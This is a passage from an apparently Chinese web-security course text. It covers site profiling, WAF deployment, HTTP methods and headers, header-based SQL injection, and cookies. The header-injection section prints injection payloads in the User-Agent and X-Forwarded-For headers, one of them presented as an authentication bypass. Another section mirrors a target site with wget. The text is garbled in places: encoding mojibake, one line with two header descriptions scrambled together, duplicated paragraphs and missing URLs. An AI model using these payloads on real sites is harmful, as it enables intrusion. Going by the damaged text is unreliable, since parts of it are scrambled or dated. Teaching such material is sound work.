ng)用剖析自動(dòng)化運(yùn)維知識(shí)拓展3.文件擴(kuò)展名細(xì)分文件擴(kuò)展名的目的是進(jìn)一步分析每種擴(kuò)展名背后的技術(shù)使用及執(zhí)行細(xì)節(jié),通過搜索引擎可以獲得最近的關(guān)于該文件的漏洞及攻擊方法。子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維知識(shí)拓展4.表單表單是Web應(yīng)用程序的骨干。要盡最大的可能找出所有頁(yè)面的表單信息,特別是隱藏表單。可以利用自動(dòng)化工具的搜索功能或者手工方式尋找表單信息。表單的提交方法分為get和post,get更容易在瀏覽器里操作。子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維知識(shí)拓展5.查詢字符串和參數(shù)查詢字符串大多數(shù)情況下位于問號(hào)標(biāo)記的后面。例如/Index_Columns/Index_Channels.aspx?id=25。通過分析,了解查詢字符串中參數(shù)的含義、接收參數(shù)的頁(yè)面和是否包含數(shù)據(jù)庫(kù)等敏感信息。用戶標(biāo)識(shí)符,如/home/user_programs.php?userID=4030105。會(huì)話標(biāo)識(shí),如/Session.asp?sessionID=143。數(shù)據(jù)庫(kù)查詢,如/user_msg.php?username=itscartoon。子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維知識(shí)拓展6.常見Cookie很多應(yīng)用程序是用Cookie來(lái)傳遞信息和標(biāo)識(shí)狀態(tài)的,舉例如下。Referer:/Cookie:utma=204579609.447084729.1223101387.1224932689.1225885810.51;utmz=204579609.1224572867.45.4.utmccn=(referral)|utmcsr=|utmcct=/GetEntry.do|utmcmd=referral。子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維技能拓展還可以使用wget命令行工具下載整個(gè)網(wǎng)站,在攻擊計(jì)算機(jī)上下載wget.exe工具,運(yùn)行命令wget--help,可以查看該命令的參數(shù),如圖1-14所示。運(yùn)行命令wget-r192.168.169.139,就能夠?qū)⒛繕?biāo)網(wǎng)站下載到本地,如圖1-15所示。子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維技能拓展子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維技能拓展子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維任務(wù)總結(jié)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解Web站點(diǎn)剖析的意義。?能夠分析網(wǎng)站文件的種類。?掌握自動(dòng)化抓取目標(biāo)網(wǎng)站的方法。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)任務(wù)描述Web威脅已經(jīng)成為當(dāng)今企業(yè)和個(gè)人面對(duì)的首要的安全風(fēng)險(xiǎn),今天Web威脅的目的性更加明確———攫取經(jīng)濟(jì)利益。Web安全威脅形式繁多,既包括木馬、病毒、釣魚、非法內(nèi)容等可能進(jìn)入企業(yè)的不良內(nèi)容,也包括由于后門或員工主動(dòng)或無(wú)意泄露的企業(yè)敏感信息。云時(shí)代里,互聯(lián)網(wǎng)成了企業(yè)數(shù)據(jù)中心的一部分,所有用戶都和互聯(lián)網(wǎng)連接。企業(yè)原有“邊界”逐漸消失,導(dǎo)致用戶面臨更多Web威脅。在一套解決方案中,能夠全面地解決各種Web威脅,是企業(yè)的理想選擇。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)相關(guān)知識(shí)由于云服務(wù)具備敏捷、低成本等優(yōu)勢(shì),很多企業(yè)用戶都選擇將Web服務(wù)轉(zhuǎn)移到云端。然而,Web應(yīng)用安全問題并不會(huì)隨著云化進(jìn)程而自然化解,即使企業(yè)用戶通過云本身的安全防護(hù)功能解決了病毒感染、APT攻擊等網(wǎng)絡(luò)層面的安全問題,但頁(yè)面篡改、CC攻擊、信息泄露、后門控制、跨站腳本等應(yīng)用安全風(fēng)險(xiǎn)依然威脅著Web服務(wù)的完整性以及合規(guī)性。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)相關(guān)知識(shí)特別是近兩年,國(guó)家顯著強(qiáng)化了對(duì)于Web服務(wù)的監(jiān)管力度,要求Web服務(wù)提供商確保Web內(nèi)容的安全性、合規(guī)性,避免出現(xiàn)色情、暴力等非法信息,或是被不法分子篡改網(wǎng)頁(yè)內(nèi)容,否則將可能導(dǎo)致網(wǎng)站面臨關(guān)停等風(fēng)險(xiǎn)。為了規(guī)避相關(guān)風(fēng)險(xiǎn),部署Web應(yīng)用安全防護(hù)產(chǎn)品顯然是最好的應(yīng)對(duì)之道,而傳統(tǒng)的Web應(yīng)用安全防護(hù)產(chǎn)品并不能有效適配云與虛擬化環(huán)境,所以用戶亟須能夠完美適配云與虛擬化環(huán)境的Web應(yīng)用安全防護(hù)產(chǎn)品。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)相關(guān)知識(shí)在此背景下,云或虛擬化WAF應(yīng)運(yùn)而生,其在適配云和虛擬化環(huán)境的同時(shí),可以為云用戶提供Web應(yīng)用安全防護(hù)功能。目前,可以適配云環(huán)境的WAF產(chǎn)品可以分為云WAF及虛擬化WAF。其中,云WAF通過改變DNS解析將訪問Web應(yīng)用服務(wù)器的域名解析權(quán)移交到云端節(jié)點(diǎn),以過濾非法的網(wǎng)絡(luò)需求。而虛擬化WAF則是將傳統(tǒng)硬件WAF的功能適配虛擬化環(huán)境,采用傳統(tǒng)的代理技術(shù),以確保虛擬Web應(yīng)用服務(wù)器的安全,防范Web語(yǔ)義解析,防止跨站、注入等Web攻擊行為。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)任務(wù)實(shí)施在傳統(tǒng)數(shù)據(jù)中心機(jī)房中可將安全設(shè)備隨意插入用戶網(wǎng)絡(luò)中,而在云網(wǎng)絡(luò)中采用虛擬化,用戶的應(yīng)用節(jié)點(diǎn)甚至可遷移到不同的計(jì)算節(jié)點(diǎn)上,WAF無(wú)法通過傳統(tǒng)的盒子方式進(jìn)行部署。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)任務(wù)實(shí)施1.公有云解決方案為公有云租戶提供安全解決方案,需要考慮方案的便利性、通用性和可實(shí)施性,下面的WAF虛擬化解決方案,通過把WAF的安全檢測(cè)模塊以鏡像的方式作為應(yīng)用發(fā)布在應(yīng)用市場(chǎng),用戶像選擇手機(jī)APP一樣方便選擇WAF鏡像。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)任務(wù)實(shí)施所有操作簡(jiǎn)便快捷,均由用戶自行操作,WAF提供管理接口,用戶可自行登錄到WAF管理平臺(tái)上配置策略和查看攻擊趨勢(shì)、報(bào)表數(shù)據(jù)、設(shè)備狀態(tài)等信息,只要4步操作即可完成整個(gè)WAF的部署。?購(gòu)買WAF。?配置WAF防護(hù)對(duì)象和防護(hù)策略。?手工將公網(wǎng)地址映射到VWAF,無(wú)須等待,立即生效。?完成配置,定期查看安全防護(hù)報(bào)告。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)任務(wù)實(shí)施2.私有云解決方案針對(duì)私有云數(shù)據(jù)大集中、高效、彈性空間等特點(diǎn),通過WAF虛擬化+集群方式進(jìn)行部署,云計(jì)算中心的前端負(fù)載均衡器將業(yè)務(wù)流量分發(fā)到多臺(tái)WAF,將業(yè)務(wù)流量清洗后,重新發(fā)回后端的Web服務(wù)器。云安全管理中心對(duì)WAF集群進(jìn)行集中管理和下發(fā)策略,根據(jù)需求對(duì)業(yè)務(wù)流量進(jìn)行分配。WAF定期將日志和報(bào)告輸送到云安全管理中心。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)知識(shí)拓展企業(yè)等用戶一般采用防火墻作為安全保障體系的第一道防線。但是在現(xiàn)實(shí)中,他們存在這樣那樣的問題,由此產(chǎn)生了Web應(yīng)用防護(hù)系統(tǒng)(WebApplicationFirewall,WAF)Web應(yīng)用防護(hù)系統(tǒng)代表了一類新興的信息安全技術(shù),用以解決諸如防火墻一類傳統(tǒng)設(shè)備束手無(wú)策的Web應(yīng)用安全問題。與傳統(tǒng)防火墻不同,WAF工作在應(yīng)用層,因此對(duì)Web應(yīng)用防護(hù)具有先天的技術(shù)優(yōu)勢(shì)。基于對(duì)Web應(yīng)用業(yè)務(wù)和邏輯的深刻理解,WAF對(duì)來(lái)自Web應(yīng)用程序客戶端的各類請(qǐng)求進(jìn)行內(nèi)容檢測(cè)和驗(yàn)證,確保其安全性與合法性,對(duì)非法的請(qǐng)求予以實(shí)時(shí)阻斷,從而對(duì)各類網(wǎng)站站點(diǎn)進(jìn)行有效防護(hù)。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)知識(shí)拓展WAF是通過執(zhí)行一系列針對(duì)HTTP/HTTPS的安全策略來(lái)專門為Web應(yīng)用提供保護(hù)的一款產(chǎn)品。從上面對(duì)WAF的定義中可以很清晰地了解到,WAF是一種工作在應(yīng)用層的、通過特定的安全策略來(lái)專門為Web應(yīng)用提供安全防護(hù)的產(chǎn)品。根據(jù)不同的分類方法,WAF可分為許多種。從產(chǎn)品形態(tài)上來(lái)劃分,WAF主要分為以下三大類。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)知識(shí)拓展1.硬件設(shè)備類目前安全市場(chǎng)上,大多數(shù)的WAF都屬于此類,它們以一個(gè)獨(dú)立的硬件設(shè)備的形態(tài)存在,支持以多種方式(如透明橋接模式、旁路模式、反向代理等)部署到網(wǎng)絡(luò)中為后端的Web應(yīng)用提供安全防護(hù)。相對(duì)于軟件產(chǎn)品類的WAF,這類產(chǎn)品的優(yōu)點(diǎn)是性能好、功能全面、支持多種模式部署等,但產(chǎn)品價(jià)格通常比較貴。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)知識(shí)拓展2.軟件產(chǎn)品類這種類型的WAF采用純軟件的方式實(shí)現(xiàn),其特點(diǎn)是安裝簡(jiǎn)單,容易使用,成本低。但它的缺點(diǎn)也是顯而易見的,因?yàn)樗仨毎惭b在Web應(yīng)用服務(wù)器上,除了性能受到限制外,還可能會(huì)存在兼容性、安全性等問題。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)知識(shí)拓展3.基于云的WAF隨著云計(jì)算技術(shù)的快速發(fā)展,使得其于云的WAF實(shí)現(xiàn)成為可能。它的優(yōu)點(diǎn)是快速部署、零維護(hù)、成本低,這對(duì)于中、小型的企業(yè)和個(gè)人站長(zhǎng)很有吸引力。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)技能拓展安全問題在云平臺(tái)中更加突出。云平臺(tái)中有不同行業(yè)的云租戶,不同的云租戶對(duì)于安全的需求也不一樣,游戲和電商用戶關(guān)注CC攻擊、信息泄露、后門控制、同行惡意攻擊等安全風(fēng)險(xiǎn),金融用戶關(guān)注信息泄露、跨站腳本等安全風(fēng)險(xiǎn),政務(wù)用戶關(guān)注網(wǎng)頁(yè)掛馬、Webshell、頁(yè)面被篡改等安全風(fēng)險(xiǎn)。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)技能拓展根據(jù)不同云租戶的Web應(yīng)用安全需求,需要解決面臨的Web攻擊(跨站腳本攻擊、注入攻擊、緩沖區(qū)溢出攻擊、Cookie假冒、認(rèn)證逃避、表單繞過、非法輸入、強(qiáng)制訪問)、頁(yè)面篡改(隱藏變量篡改、頁(yè)面防篡改)和CC攻擊等安全問題。子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)任務(wù)總結(jié)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解Web應(yīng)用程序應(yīng)用安全的發(fā)展趨勢(shì)。?了解WAF的概念和作用。?了解云環(huán)境下Web應(yīng)用安全的解決方案。任務(wù)1.2Web安全實(shí)踐———HTTP架構(gòu)分析
子任務(wù)1.2.1HTTP解析子任務(wù)1.2.2HTTP消息頭注入子任務(wù)1.2.3HTTPCookie數(shù)據(jù)子任務(wù)1.2.4截取HTTP請(qǐng)求子任務(wù)1.2.5編碼與規(guī)范化漏洞子任務(wù)1.2.1HTTP解析任務(wù)描述了解HTTP協(xié)議是學(xué)習(xí)Web安全的基礎(chǔ),必須能夠?qū)TTP協(xié)議的內(nèi)容和工作過程進(jìn)行分析,掌握HTTP協(xié)議工作的各種方法(動(dòng)作)。子任務(wù)1.2.1HTTP解析相關(guān)知識(shí)在Internet中所有的傳輸都是通過TCP/IP進(jìn)行的。HTTP協(xié)議作為TCP/IP模型中應(yīng)用層的協(xié)議也不例外。HTTP協(xié)議通常承載于TCP協(xié)議之上,有時(shí)也承載于TLS或SSL協(xié)議層之上,這個(gè)時(shí)候,就成了我們常說(shuō)的HTTPS,如圖1-16所示。子任務(wù)1.2.1HTTP解析相關(guān)知識(shí)HTTP是基于傳輸層的TCP協(xié)議,而TCP是一個(gè)端到端的面向連接的協(xié)議。所謂的端到端可以理解為進(jìn)程到進(jìn)程之間的通信,所以HTTP在開始傳輸之前,首先需要建立TCP連接,而TCP連接的過程需要所謂的“三次握手”,如圖1-17所示。子任務(wù)1.2.1HTTP解析相關(guān)知識(shí)在TCP三次握手之后,建立了TCP連接,此時(shí)HTTP就可以進(jìn)行傳輸了。一個(gè)重要的概念是面向連接,即HTTP在傳輸完成之前并不斷開TCP連接。在HTTP1.1中(通過Connection頭設(shè)置)這是默認(rèn)行為。子任務(wù)1.2.1HTTP解析任務(wù)實(shí)施(1)HTTP協(xié)議的主要特點(diǎn)可概括如下。①支持客戶/服務(wù)器模式。②簡(jiǎn)單快速:客戶向服務(wù)器請(qǐng)求服務(wù)時(shí),只需傳送請(qǐng)求方法和路徑。③靈活:HTTP允許傳輸任意類型的數(shù)據(jù)對(duì)象。④無(wú)連接:無(wú)連接的含義是限制每次連接只處理一個(gè)請(qǐng)求。⑤無(wú)狀態(tài):HTTP協(xié)議是無(wú)狀態(tài)協(xié)議。子任務(wù)1.2.1HTTP解析任務(wù)實(shí)施(2)一次HTTP操作稱為一個(gè)事務(wù),其工作過程可分為四步,如圖1-18所示。①首先客戶機(jī)與服務(wù)器需要建立連接。只要單擊某個(gè)超級(jí)鏈接,HTTP的工作即開始。②建立連接后,客戶機(jī)發(fā)送一個(gè)請(qǐng)求給服務(wù)器,請(qǐng)求方式的格式為:統(tǒng)一資源標(biāo)識(shí)符(URL)、協(xié)議版本號(hào),后面是MIME信息(包括請(qǐng)求修飾符、客戶機(jī)信息和可能的內(nèi)容)。子任務(wù)1.2.1HTTP解析任務(wù)實(shí)施③服務(wù)器接到請(qǐng)求后,給予相應(yīng)的響應(yīng)信息,其格式為一個(gè)狀態(tài)行,包括信息的協(xié)議版本號(hào)、一個(gè)成功或錯(cuò)誤的代碼,后面是MIME信息(包括服務(wù)器信息、實(shí)體信息和可能的內(nèi)容)。④客戶端接收服務(wù)器所返回的信息并通過瀏覽器顯示在用戶的顯示屏上,然后客戶機(jī)與服務(wù)器斷開連接。
子任務(wù)1.2.1HTTP解析任務(wù)實(shí)施如果在以上過程中的某一步出現(xiàn)錯(cuò)誤,那么產(chǎn)生錯(cuò)誤的信息將返回到客戶端,有顯示屏輸出。對(duì)于用戶來(lái)說(shuō),這些過程是由HTTP自己完成的,用戶只要單擊,等待信息顯示就可以了。子任務(wù)1.2.1HTTP解析知識(shí)拓展HTTP/1.1協(xié)議中共定義了不同的方法(有時(shí)也叫“動(dòng)作”)來(lái)表明Request-URI指定的資源的不同操作方式。子任務(wù)1.2.1HTTP解析知識(shí)拓展?OPTIONS:返回服務(wù)器針對(duì)特定資源所支持的HTTP請(qǐng)求方法。?HEAD:向服務(wù)器索要與GET請(qǐng)求相一致的響應(yīng),只不過響應(yīng)體將不會(huì)被返回。?GET:向特定的資源發(fā)出請(qǐng)求。?POST:向指定資源提交數(shù)據(jù)進(jìn)行處理請(qǐng)求(例如提交表單或者上傳文件)。數(shù)據(jù)被包含在請(qǐng)求體中。子任務(wù)1.2.1HTTP解析知識(shí)拓展?DELETE:請(qǐng)求服務(wù)器刪除Request-URI所標(biāo)識(shí)的資源。?TRACE:回顯服務(wù)器收到的請(qǐng)求,主要用于測(cè)試或診斷。?CONNECT:HTTP/1.1協(xié)議中預(yù)留給能夠?qū)⑦B接改為管道方式的代理服務(wù)器。?PATCH:用來(lái)將局部修改應(yīng)用于某一資源,添加到規(guī)范RFC5789中。子任務(wù)1.2.1HTTP解析技能拓展HTTP服務(wù)器至少應(yīng)該實(shí)現(xiàn)GET和HEAD方法,其他方法都是可選的。此外,除了上述方法,特定的HTTP服務(wù)器還能夠擴(kuò)展自定義的方法。子任務(wù)1.2.1HTTP解析技能拓展GET和POST的區(qū)別:(1)GET提交的數(shù)據(jù)會(huì)放在URL之后,以“?”分割URL和傳輸數(shù)據(jù),參數(shù)之間以&相連。(2)GET提交的數(shù)據(jù)大小有限制,最多只能有1024字節(jié)(因?yàn)闉g覽器對(duì)URL的長(zhǎng)度有限制),而POST方法提交的數(shù)據(jù)沒有限制。子任務(wù)1.2.1HTTP解析技能拓展(3)GET方式需要使用Request.QueryString來(lái)取得變量的值,而POST方式通過Request.Form來(lái)獲取變量的值。(4)GET方式提交數(shù)據(jù)會(huì)帶來(lái)安全問題,比如一個(gè)登錄頁(yè)面,通過GET方式提交數(shù)據(jù)時(shí),用戶名和密碼將出現(xiàn)在URL上。如果頁(yè)面可以被緩存或者其他人可以訪問這臺(tái)機(jī)器,就可以從歷史記錄中獲得該用戶的賬號(hào)和密碼。子任務(wù)1.2.1HTTP解析任務(wù)總結(jié)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解HTTP協(xié)議的主要特點(diǎn)。?了解HTTP協(xié)議的工作過程。?了解HTTP協(xié)議的各種方法(動(dòng)作)。子任務(wù)1.2.2HTTP消息頭注入任務(wù)描述截取HTTP消息頭信息,理解HTTP消息頭的內(nèi)容,尋找注入點(diǎn)信息。子任務(wù)1.2.2HTTP消息頭注入相關(guān)知識(shí)通常HTTP消息包括客戶機(jī)向服務(wù)器的請(qǐng)求消息和服務(wù)器向客戶機(jī)的響應(yīng)消息。客戶端向服務(wù)器發(fā)送一個(gè)請(qǐng)求,請(qǐng)求頭包含請(qǐng)求的方法、URI、協(xié)議版本,以及包含請(qǐng)求修飾符、客戶信息和內(nèi)容的類似于MIME的消息結(jié)構(gòu)。服務(wù)器以一個(gè)狀態(tài)行作為響應(yīng),相應(yīng)的內(nèi)容包括消息協(xié)議的版本,成功或者錯(cuò)誤編碼加上包含服務(wù)器信息、實(shí)體元信息以及可能的實(shí)體內(nèi)容。子任務(wù)1.2.2HTTP消息頭注入相關(guān)知識(shí)HTTP的頭域包括通用頭、請(qǐng)求頭、響應(yīng)頭和實(shí)體頭四個(gè)部分。每個(gè)頭域由一個(gè)域名,冒號(hào)(:)和域值三部分組成。通用頭部是客戶端和服務(wù)器都可以使用的頭部,可以在客戶端、服務(wù)器和其他應(yīng)用程序之間提供一些非常有用的通用功能。請(qǐng)求頭部是請(qǐng)求報(bào)文特有的,它們?yōu)榉?wù)器提供了一些額外信息。響應(yīng)頭部便于客戶端提供信息。實(shí)體頭部指的是用于應(yīng)對(duì)實(shí)體主體部分的頭部。子任務(wù)1.2.2HTTP消息頭注入任務(wù)實(shí)施HTTP傳輸?shù)南⒁彩沁@樣規(guī)定的,每一個(gè)HTTP包都分為HTTP頭和HTTP體兩部分,后者是可選的,而前者是必需的。每當(dāng)我們打開一個(gè)網(wǎng)頁(yè),在上面右擊,選擇“查看源文件”命令,這時(shí)看到的HTML代碼就是HTTP的消息體,那么消息頭又在哪里呢?IE瀏覽器不讓我們看到這部分,但我們可以通過截取數(shù)據(jù)包等方法看到它。子任務(wù)1.2.2HTTP消息頭注入任務(wù)實(shí)施下面就來(lái)看一個(gè)簡(jiǎn)單的例子。首先制作一個(gè)非常簡(jiǎn)單的網(wǎng)頁(yè),它的內(nèi)容只有一行:<html><body>helloworld</body></html>把它放到Web服務(wù)器上,然后用火狐瀏覽器打開這個(gè)頁(yè)面39。當(dāng)我們請(qǐng)求這個(gè)頁(yè)面時(shí),通過瀏覽器插件可以查看,請(qǐng)求地址為39,請(qǐng)求方式為GET,連接狀態(tài)碼是200OK,協(xié)議為HTTP/1.1,如圖1-19所示。子任務(wù)1.2.2HTTP消息頭注入任務(wù)實(shí)施瀏覽器實(shí)際做了以下四項(xiàng)工作。(1)解析我們輸入的地址,從中分解出協(xié)議名、主機(jī)名、端口、對(duì)象路徑等部分。(2)把以上部分結(jié)合本機(jī)自己的信息,封裝成一個(gè)HTTP請(qǐng)求數(shù)據(jù)包。(3)使用TCP協(xié)議連接到主機(jī)的指定端口,并發(fā)送已封裝好的數(shù)據(jù)包。(4)等待服務(wù)器返回?cái)?shù)據(jù),并解析返回?cái)?shù)據(jù),最后顯示出來(lái)。子任務(wù)1.2.2HTTP消息頭注入任務(wù)實(shí)施子任務(wù)1.2.2HTTP消息頭注入知識(shí)拓展HTTP消息頭包含很多有用的信息,以圖1-19中的具體內(nèi)容為例說(shuō)明如下。Content-Length:Web服務(wù)器告訴瀏覽器自己響應(yīng)的對(duì)象的長(zhǎng)度。Content-Type:Web服務(wù)器告訴瀏覽器自己響應(yīng)的對(duì)象的類型。Date:消息發(fā)送的時(shí)間。Last-Modified:Web服務(wù)器認(rèn)為對(duì)象的最后修改時(shí)間。子任務(wù)1.2.2HTTP消息頭注入知識(shí)拓展Server:Web服務(wù)器使用的軟件及版本等信息。Host:訪問Web服務(wù)器的域名/IP地址和端口號(hào)。Accept:ge表nt示:瀏We覽b器服和務(wù)操器作接系收統(tǒng)介的質(zhì)版的本類型。User-AAccept-Language:瀏覽器申明接收的語(yǔ)言。Accept-Encoding:瀏覽器申明接收的編碼方法。Connection:表示是否需要持久連接。子任務(wù)1.2.2HTTP消息頭注入技能拓展在漏洞評(píng)估和滲透測(cè)試中,確定目標(biāo)應(yīng)用程序的輸入向量是第一步。在通過HTTP頭部對(duì)Web服務(wù)器進(jìn)行SQL注入攻擊時(shí),首先要尋找合適的注入點(diǎn)。以下總結(jié)出幾個(gè)潛在的HTTP消息頭SQL注入點(diǎn)。子任務(wù)1.2.2HTTP消息頭注入技能拓展1.user-agent字段用戶代理(user-agent)是記錄軟件程序的客戶端信息的HTTP頭字段,它可以用來(lái)統(tǒng)計(jì)目標(biāo)和違規(guī)協(xié)議。在HTTP頭中應(yīng)該包含它,這個(gè)字段的第一個(gè)空格前面是軟件的產(chǎn)品名稱,后面有一個(gè)可選的斜杠和版本號(hào)。并不是所有的應(yīng)用程序都會(huì)獲取到user-agent信息,但是有些應(yīng)用程序利用它存儲(chǔ)一些信息(如購(gòu)物車)。HTTP查詢實(shí)例的注入漏洞如下。子任務(wù)1.2.2HTTP消息頭注入技能拓展GET/index.phpHTTP/1.1Host:[host]User-Agent:aaa’or1/*子任務(wù)1.2.2HTTP消息頭注入技能拓展2.X-Forwarded-For字段X-Forwarded-For字段簡(jiǎn)稱XFF頭,它代表客戶端,也就是HTTP的請(qǐng)求端真實(shí)的IP,只有在通過了HTTP代理或者負(fù)載均衡服務(wù)器時(shí)才會(huì)添加該項(xiàng)。它不是RFC中定義的標(biāo)準(zhǔn)請(qǐng)求頭信息,在squid緩存代理服務(wù)器開發(fā)文檔中可以找到該項(xiàng)的詳細(xì)介紹。標(biāo)準(zhǔn)格式為:“X-Forwarded-For:client1,proxy1,proxy2”。子任務(wù)1.2.2HTTP消息頭注入技能拓展在使用SQL查詢前,HTTP_X_FORWARDED_FOR環(huán)境變量沒有充分的過濾,這也導(dǎo)致在SQL查詢時(shí)可以通過這個(gè)字段注入任意的SQL代碼。這個(gè)頭字段如果像下面這樣簡(jiǎn)單地修改,將會(huì)導(dǎo)致繞過安全認(rèn)證。GET/index.phpHTTP/1.1Host:[host]X_FORWARDED_FOR:'or1=1#子任務(wù)1.2.2HTTP消息頭注入技能拓展3.RefererReferer是另外一個(gè)當(dāng)應(yīng)用程序沒有過濾存儲(chǔ)到數(shù)據(jù)庫(kù)時(shí),容易發(fā)生SQL注入的HTTP頭。它是一個(gè)允許客戶端指定的可選頭部字段,通過它我們可以獲取到提交請(qǐng)求URI的服務(wù)器情況。它允許服務(wù)器產(chǎn)生一系列的回退鏈接文檔,像感興趣的內(nèi)容、日志等,也允許跟蹤那些壞鏈接以便維護(hù)。子任務(wù)1.2.2HTTP消息頭注入技能拓展例如:GET/index.phpHTTP/1.1Host:[host]User-Agent:aaa’or1/*Referer:子任務(wù)1.2.2HTTP消息頭注入任務(wù)總結(jié)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解HTTP消息頭的作用。?理解HTTP消息頭的含義。?能夠查看HTTP消息頭信息。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)任務(wù)描述了解Cookie的概念和作用,查看網(wǎng)站的Cookie,并利用瀏覽器插件修改Cookie。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)相關(guān)知識(shí)Cookie不是軟件,所以它不能攜帶病毒,不能執(zhí)行惡意腳本,不能在用戶主機(jī)上安裝惡意軟件。但它們可以被間諜軟件用來(lái)跟蹤用戶的瀏覽行為。更嚴(yán)重的是,黑客可以通過偷取Cookie獲取受害者的賬號(hào)控制權(quán)。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)相關(guān)知識(shí)一個(gè)Cookie就是存儲(chǔ)在用戶主機(jī)瀏覽器中的一小段文本文件。Cookie是純文本形式,它們不包含任何可執(zhí)行代碼。一個(gè)Web頁(yè)面或服務(wù)器告訴瀏覽器來(lái)將這些信息存儲(chǔ),并且基于一系列規(guī)則,在之后的每個(gè)請(qǐng)求中都將該信息返回至服務(wù)器,Web服務(wù)器之后可以利用這些信息來(lái)標(biāo)識(shí)用戶。多數(shù)需要登錄的站點(diǎn)通常會(huì)在你的認(rèn)證信息通過后來(lái)設(shè)置一個(gè)Cookie,之后只要這個(gè)Cookie存在并且合法,你就可以自由地瀏覽這個(gè)站點(diǎn)的所有部分。Cookie只是包含了數(shù)據(jù),就其本身而言并無(wú)害。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)任務(wù)實(shí)施打開谷歌瀏覽器,輸入網(wǎng)址,打開百度首頁(yè)。再打開瀏覽器的設(shè)置窗口,單擊窗口最下方的“顯示高級(jí)設(shè)置”鏈接,在“隱私設(shè)置”項(xiàng)目中單擊“內(nèi)容設(shè)置”按鈕,如圖1-20所示。單擊“所有Cookie和網(wǎng)站數(shù)據(jù)”按鈕,打開其對(duì)話框,可以查看所有的Cookie文件,選擇并打開百度的Cookie文件,如圖1-21所示。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)任務(wù)實(shí)施打開谷歌瀏覽器,輸入網(wǎng)址,打開百度首頁(yè)。再打開瀏覽器的設(shè)置窗口,單擊窗口最下方的“顯示高級(jí)設(shè)置”鏈接,在“隱私設(shè)置”項(xiàng)目中單擊“內(nèi)容設(shè)置”按鈕,如圖1-20所示。單擊“所有Cookie和網(wǎng)站數(shù)據(jù)”按鈕,打開其對(duì)話框,可以查看所有的Cookie文件,選擇并打開百度的Cookie文件,如圖1-21所示。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)任務(wù)實(shí)施子任務(wù)1.2.3HTTPCookie數(shù)據(jù)任務(wù)實(shí)施子任務(wù)1.2.3HTTPCookie數(shù)據(jù)知識(shí)拓展1.Cookie的類別1)SessionCookie這個(gè)類型的Cookie只在會(huì)話期間內(nèi)有效,即當(dāng)關(guān)閉瀏覽器的時(shí)候,它會(huì)被瀏覽器刪除。設(shè)置SessionCookie的辦法是:在創(chuàng)建Cookie時(shí)不設(shè)置Expires即可。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)知識(shí)拓展2)PersistentCookie持久型Cookie顧名思義就是會(huì)長(zhǎng)期在用戶會(huì)話中生效。當(dāng)設(shè)置Cookie的屬性max-age為1個(gè)月,那么在這個(gè)月里每個(gè)相關(guān)URL的HTTP請(qǐng)求中都會(huì)帶有這個(gè)Cookie。所以它可以記錄很多用戶初始化或自定義化的信息,比如什么時(shí)候第一次登錄及弱登錄態(tài)等。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)知識(shí)拓展3)SecureCookie安全Cookie是在HTTPS訪問下的Cookie形態(tài),以確保Cookie在從客戶端傳遞到Server的過程中始終是加密的,這樣做大大降低了Cookie內(nèi)容直接暴露在黑客面前及被盜取的概率。4)HttpOnlyCookie目前主流的瀏覽器已經(jīng)都支持HttpOnlyCookie。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)知識(shí)拓展5)第三方Cookie第一方Cookie是Cookie種植在瀏覽器地址欄的域名或子域名下的。第三方Cookie則是種植在不同于瀏覽器地址欄的域名下。例如,用戶訪問時(shí),在中設(shè)置了個(gè)Cookie;在訪問的時(shí)候,也在中設(shè)置了一個(gè)Cookie。這種場(chǎng)景經(jīng)常出現(xiàn)在一些廣告服務(wù)商中,廣告服務(wù)商就可以采集用戶的一些習(xí)慣和訪問歷史。6)超級(jí)Cookie超級(jí)Cookie是設(shè)置公共域名前綴上的Cookie。通常的Cookie可以設(shè)置在和上,而不允許設(shè)置在.com上。但是很不幸的是,歷史上一些老版本的瀏覽器因?yàn)閷?duì)新增后綴過濾不足而導(dǎo)致過超級(jí)Cookie的產(chǎn)生。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)知識(shí)拓展6)超級(jí)Cookie超級(jí)Cookie是設(shè)置公共域名前綴上的Cookie。通常的Cookie可以設(shè)置在和上,而不允許設(shè)置在.com上。但是很不幸的是,歷史上一些老版本的瀏覽器因?yàn)閷?duì)新增后綴過濾不足而導(dǎo)致過超級(jí)Cookie的產(chǎn)生。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)知識(shí)拓展2.Cookie的缺點(diǎn)(1)被討論最多的就是隱私問題。(2)Cookie引入的各種安全問題。(3)與REST軟件架構(gòu)相背離。(4)狀